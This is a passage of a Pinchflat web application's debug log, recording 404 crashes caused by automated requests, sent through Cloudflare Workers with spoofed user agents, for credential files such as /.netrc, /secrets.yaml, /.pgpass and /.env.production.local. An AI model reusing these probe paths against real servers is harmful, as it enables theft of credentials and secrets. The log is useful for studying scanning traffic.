:call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3763.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.netrc", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 36850}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fddbead12776-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "06c7810bof2j.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)", "x-forwarded-for" => "104.22.1.48", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3763.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.netrc", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 36850}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fddbead12776-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "06c7810bof2j.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)", "x-forwarded-for" => "104.22.1.48", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, (truncated) 02:50:37.054 [info] GET /secrets.yaml 02:50:37.055 [debug] QUERY OK source="settings" db=0.1ms idle=9.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:37.055 [debug] QUERY OK source="settings" db=0.0ms idle=9.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:37.055 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:37.055 [error] #PID<0.3765.0> running PinchflatWeb.Endpoint (connection #PID<0.3727.0>, stream id 22) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /secrets.yaml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /secrets (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets.yaml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fddc0fa63320-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "dc59f9cd8xqw.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "104.22.24.77", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 22, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3765.0>, params: %{}, path_info: ["secrets"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200fddc0fa63320-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "dc59f9cd8xqw.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0"}, {"x-forwarded-for", "104.22.24.77"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/secrets.yaml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHfvW_fdoKBQAAWsB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets.yaml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fddc0fa63320-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "dc59f9cd8xqw.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "104.22.24.77", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 22, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /secrets (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets.yaml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fddc0fa63320-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "dc59f9cd8xqw.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "104.22.24.77", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", (truncated) 02:50:37.110 [info] GET /.pgpass 02:50:37.110 [debug] QUERY OK source="settings" db=0.3ms idle=64.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:37.111 [debug] QUERY OK source="settings" db=0.2ms idle=61.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:37.111 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:37.111 [error] #PID<0.3766.0> running PinchflatWeb.Endpoint (connection #PID<0.3727.0>, stream id 23) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.pgpass ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.pgpass", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fddc4871c107-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "okafd9309585kk8h.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36", "x-forwarded-for" => "104.22.56.193", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 23, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3766.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200fddc4871c107-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "okafd9309585kk8h.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"sec-ch-ua-mobile", "?1"}, {"sec-ch-ua-platform", "\"Android\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36"}, {"x-forwarded-for", "104.22.56.193"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.pgpass", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHf8gVeZ8LAYAAWtB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.pgpass", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fddc4871c107-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "okafd9309585kk8h.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36", "x-forwarded-for" => "104.22.56.193", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 23, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.pgpass", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fddc4871c107-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "okafd9309585kk8h.workers.dev", (truncated) 02:50:37.145 [info] GET /.env.production.local 02:50:37.146 [debug] QUERY OK source="settings" db=0.3ms idle=96.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:37.147 [debug] QUERY OK source="settings" db=0.2ms idle=91.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:37.147 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:37.147 [error] #PID<0.3767.0> running PinchflatWeb.Endpoint (connection #PID<0.3727.0>, stream id 24) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.production.local ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env.production (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production.local", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fddc8df35f08-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "vbef319a9b50y4by.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)", "x-forwarded-for" => "104.22.24.76", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 24, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3767.0>, params: %{}, path_info: [".env.production"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200fddc8df35f08-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "vbef319a9b50y4by.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)"}, {"x-forwarded-for", "104.22.24.76"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.production.local", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHgFA67g_xp4AAWuB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production.local", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fddc8df35f08-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "vbef319a9b50y4by.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)", "x-forwarded-for" => "104.22.24.76", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 24, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env.production (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production.local", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fddc8df35f08-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "vbef319a9b50y4by.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)", "x-forwarded-for" => "104.22.24.76", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", (truncated) 02:50:39.343 [info] GET /app 02:50:39.344 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=617.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:39.344 [debug] QUERY OK source="settings" db=0.3ms idle=618.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:39.345 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:39.345 [error] #PID<0.3768.0> running PinchflatWeb.Endpoint (connection #PID<0.3727.0>, stream id 25) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /app ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fdea4e003747-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "zmzteaca4af697lg.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)", "x-forwarded-for" => "104.22.24.76", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 25, host_info: :undefined }}, 